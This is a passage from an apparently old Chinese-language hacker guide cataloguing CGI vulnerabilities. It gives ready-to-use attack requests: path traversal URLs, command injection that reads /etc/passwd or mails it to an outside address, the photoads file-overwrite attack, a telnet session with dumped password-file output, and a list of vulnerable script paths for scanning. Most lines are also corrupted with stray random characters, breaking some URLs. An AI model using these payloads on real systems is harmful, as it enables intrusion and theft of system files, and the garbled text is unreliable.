1 u( }1 C2 m" d0 Dhttp://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../.
; O; @3 t( K0 p  F) k./../path_to_gif/file.gif: w" i5 O6 G% Y. @- T, ^1 c# K
二十三.finger.cgi3 G6 i0 M7 ?" P/ u' t. ?) L
lynx http://www.victim.com/cgi-bin/finger?@localhost, r' r! L+ l7 v, L
得到主机上登陆的用户名.
7 O& l2 r; l2 Z# j1 B二十四.man.sh
+ @* r! x; f% ?  H' X) k& XRobert Moniot found followung. The May 1998 issue of SysAdmin
; d. x, r) J% ]# F( z- pMagazine contains an article, "Web-Enabled Man Pages", which) {( f' W+ q8 E. \) c
includes source code for very nice cgi script named man.sh to feed' h9 X- Z) S' J( c/ ~% \
man pages to a web browser. The hypertext links to other man
5 w7 m3 D, T: a3 i  _, rpages are an especially attractive feature.1 N9 v4 O. I* s( ~4 b/ }$ a
Unfortunately, this script is vulnerable to attack. Essentially,
7 T* e. M9 P" Yanyone who can execute the cgi thru their web browser can run any7 p' \- q( c3 r# F  `
system commands with the user id of the web server and obtain the
0 `- z* K* |  q6 W( J! ooutput from them in a web page.9 B  ?5 \7 R4 m) Y2 E1 l* u+ }: d. l
二十五.FormHandler.cgi
- W+ H  a6 q7 C: \/ F/ h在表格里加上- v8 z7 g! i' s, E
你的邮箱里就有/etc/passwd
) R0 p8 I: M* L1 i3 z/ F二十六.JFS0 Y  y+ o+ @6 W9 P
相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads: g0 ]  X6 m# d2 }
这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样
/ r  }  ~9 b' g. ?先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31
" C8 z% }  n7 u7 F9 {- }$ y337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a+ P- i2 m% T- T1 L8 P. x  \3 \
1111111111111111111111111111111111111111111111111111111111111111111111111111/ y4 T5 D! }: L& ]
11111111111111111111111111111111111111111111 11111111111111111111111111111110 u7 {4 b+ o- M2 p8 M* S  f6 ?5 M
1111111111111111111111111111111111111111111111111111111111111111111111111111
8 J/ z: z3 B& `9 m) E6 M111111111111111 111111111111111111111111111111111111111111111111111111111111' p4 i6 y' [7 `3 R. Q# e: Z4 s6 a- t
11111111111111111111111111111111111111111111111111111111111111 1111111111111
( O; U+ L3 Z$ M+ [) d& ]  z11111111111111111111111111111111111111111111111111111111111111111111111111113 x, D* C; k& V* m: b
111111111111111111111111111111111 111111111111111111111111111111111111111111
1 q5 A% T# v6 Y/ ?8 O% Y7 J1111111111111111111111111111111111111111111111111111111111111111111111111111! h) x. S; V0 f' Y( v$ U
1111 11111111111111111111111111111111111111111111111111111111111111111111111: r. @) x# R0 H/ l
111111111111111111111111111111111111111111111111111 1111111111111111111111117 q( Q: v9 y0 ^
1111111111111111111111111111111111111111111111111111111111111111111111111111, m7 H# F9 Q3 {  n1 N4 [
1111111111111111111111 11111111111111111111111111111111111111111111111111111! m( G. Q: i6 X8 ~. X6 A/ s
111111111111111111111111111111111111111111111111111111111111111111111 111111
* x+ P, }5 ?$ p( M1111111111111111111111111111111111111111111111111111111111111111111111111111) |3 M+ U3 e/ [* M
1111111111111111111111111111111111111111 111111111111111111111111111&Phone=1( y- Q$ s" l- q% G. u% u! m3 v
1&Subject=la&password=0&CityStPhone=0&Renewed=0"+ c/ ]* g9 L9 F2 a: @
创建新AD值绕过 $AdNum 的检查后用
% q: x- M8 E8 L4 H4 x7 `( N6 G( L' jlynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jp% o& j& M4 X$ c: L
g&AdNum=111111111111111111111111111111111111111111111111111111111111111111116 T" @& @" H) i4 g* M
111111111111111111111111111111111111111111111111111111 111111111111111111111
, |+ [3 q% K  g2 k1111111111111111111111111111111111111111111111111111111111111111111111111111
' O# z9 @; ]$ N$ {; R: s/ \% f5 H1111111111111111111111111 111111111111111111111111111111111111111111111111116 N+ Q& D% {! w% g; R
111111111111111111111111111111111111111111111111111111111111111111111111 111% D  g+ R' ]: p% y+ E
1111111111111111111111111111111111111111111111111111111111111111111111111111) `: G% |1 H* n; K; N% _) J
1111111111111111111111111111111111111111111 11111111111111111111111111111111
" a; X& T/ W9 }9 R1111111111111111111111111111111111111111111111111111111111111111111111111111& U( A7 @5 t( ?. G0 H- C& f4 }$ Q
11111111111111 1111111111111111111111111111111111111111111111111111111111111: U3 w& U$ K, p- K6 \* c
1111111111111111111111111111111111111111111111111111111111111 11111111111111
5 [6 w1 I9 B* F0 r1111111111111111111111111111111111111111111111111111111111111111111111111111. O/ S) Q$ G  d3 o* a+ J3 _5 m
11111111111111111111111111111111 1111111111111111111111111111111111111111111, M2 d+ a- ~2 V
11111111111111111111111111111111111111111111111111111111111111111111111111115 {, W7 |9 q2 T5 }) ~3 M; d
111 1111111111111111111111111111111111111111111111&DataFile=1&Password=0&FIL
5 V. A1 `! u3 U% Y/ J) zE_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/\../../../7 G0 o0 G0 B/ C$ W; B7 r! b: D7 W
../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif'3 n4 K+ g1 j$ Z/ Y) N' Q
创建/覆盖用户 nobody 有权写的任何文件.
8 G! }( W/ {1 Y$ z不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?
9 Y% O* S6 S: u1 R7 M9 `6 }$ B  {. r! y二十七.backdoor
6 U  |2 _" ]0 f, k# I看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl
- J( c% }! L6 b* X2 h3 z前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码." r! B7 k4 r; E" h
二十八.visadmin.exe$ u' V' Y' A( D$ a4 I
http://omni.server/cgi-bin/visadmin.exe?user=guest3 i& U; ^; B$ M, ]
这个命令行将不停的向服务器的硬盘里写东西,知道写满为止.
$ ~5 L, S# ^5 G5 B二十九.campas3 F& v' \3 W6 `# H( L
> telnet www.xxxx.net 804 F, l6 e: y3 j
Trying 200.xx.xx.xx...
, i( X1 K0 y5 I0 H4 r( WConnected to venus.xxxx.net
4 F, D" `: A6 q# v+ sEscape character is '^]'.
5 ~' @7 Y3 N7 W3 D: |3 aGET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
# V+ |8 Z( U. [5 t6 groot:x:0:1:Super-User:/export/home/root:/sbin/sh% y- p% w% q- S
daemon:x:1:1::/:: a" s% B6 u4 A" T; P$ W
bin:x:2:2::/usr/bin:5 A0 \2 D/ F3 D9 @
sys:x:3:3::/:
  i4 ]' g0 P7 Z; m$ E) Cadm:x:4:4:Admin:/var/adm:6 [* V! b% X8 {: Q
lp:x:71:8:Line Printer Admin:/usr/spool/lp:+ I% k( K8 t- h. X% p0 y6 s
smtp:x:0:0:Mail Daemon User:/:/bin/false" P# Q- Z6 e, Z" ?9 C  H; p0 u
.... 接下来你知道该干什么了吧 :P
* {+ Y' S9 }3 k% x1 ]' v! h  C三十.webgais
9 v9 U$ F7 O& G  t" L" l4 T5 Bquery=';mail+foo@somewhere.nettelnet target.machine.com 80" H$ A0 {! e0 o9 S5 Y$ B
POST /cgi-bin/webgais HTTP/1.0
# `0 o/ @- q) ]* a  dContent-length: 85 (replace this with the actual length of the "exploit"
+ g  q- G( O" h+ |7 _( bline)- s0 p. n. I- k' G7 {9 p4 x
query=';mail+drazvan\@pop3.kappa.roparagraph
" j4 ?# z5 g" D# K3 Dtelnet target.machine.com 80! x& o$ V8 r$ D3 ]
POST /cgi-bin/websendmail HTTP/1.0
3 E' M8 ~' R1 x3 W2 w: aContent-length: xxx (should be replaced with the actual length of the4 S$ Z1 }! G# Z! k
string passed to the server, in this case xxx=90)
6 v* O7 c$ r- p2 M' w1 d1 Creceiver=;mail+your_address\@somewhere.orgubject=a
+ |& p' }5 k9 z, ?! @" e&content=a
( O9 y* f; Q; S8 T& ]7 p三十一.wrap7 T+ F9 |1 i# p# f$ B  N5 g7 X
http://sgi.victim/cgi-bin/wrap?/../../../../../etc
6 W& o- |$ i# i1 U6 q0 N) V列出etc目录里的文件; v4 y& J/ C0 n2 e& s
下面是可能包含漏洞的所有CGI程序名,至于其他更多的漏洞,正在收集整理中,这里也衷, o( V. r3 m& a" e4 b
心的希望得到你的批评与指教.) d4 ?& _0 p/ [7 C
/cgi-bin/rwwwshell.pl' K8 N% a0 }$ `+ X) ^+ d3 r0 E  t
/cgi-bin/phf8 }" J  [6 l" x: F$ g
/cgi-bin/Count.cgi
; m# w9 Q7 V6 d/cgi-bin/test.cgi) \1 e5 v1 A5 C; `
/cgi-bin/nph-test-cgi/ m1 X( f/ I0 Q, i0 c
/cgi-bin/nph-publish
/ s" M( t4 Z/ R4 E2 U) R* ?/cgi-bin/php.cgi
! y, M6 W# W$ T8 U/cgi-bin/handler
5 P$ |/ P! e& Q% `% z/cgi-bin/webgais
% q8 X0 \, ^4 j1 ?6 q% e4 L' Q# K/cgi-bin/websendmail
3 |: {+ P. _* A1 G/cgi-bin/webdist.cgi
* ?* a. @5 s$ s, Q/cgi-bin/faxsurvey
  O& x4 j! \8 O* S/cgi-bin/htmlscript /cgi-bin/pfdisplay.cgi3 f3 f" D, w: V) u) M/ x
/cgi-bin/perl.exe" H. |5 [. X* H; N0 h* u% C6 z! _
/cgi-bin/wwwboard.pl
0 u3 L& k3 L  o/cgi-bin/www-sql
# `7 ~' q8 v' O/cgi-bin/view-source
) F- \5 J5 U9 E* f/ i; Y/cgi-bin/campas% s; g, y' a, A/ _
/cgi-bin/aglimpse# l5 n. l" j$ `: J0 a" Z6 p4 f9 i1 h
/cgi-bin/glimpse. b- o' w) ]5 T, s2 p# v/ h
/cgi-bin/man.sh
: d- ?! p7 H* ?# t! Y3 H/cgi-bin/AT-admin.cgi
- @! T, h: g$ m: a. d/ u/scripts/no-such-file.pl
7 u; p" B. g  C( u0 P1 M/_vti_bin/shtml.dll! I" M% C. P0 _. M/ o( y% n
/_vti_inf.html
9 S/ z1 A0 ^. T3 x! o$ D/_vti_pvt/administrators.pwd
/ _% [4 A- w% T; s* L/_vti_pvt/users.pwd
" C2 D2 b% ^% g/msadc/Samples/SELECTOR/showcode.asp9 _6 T7 _, \/ D
/scripts/iisadmin/ism.dll?http/dir
3 V. d, [; T( O, i. F1 M/adsamples/config/site.csc
/ i& j. p+ o5 A* {" \' ]  i/main.asp%81( o. O7 E& g6 m4 D' @$ |& @
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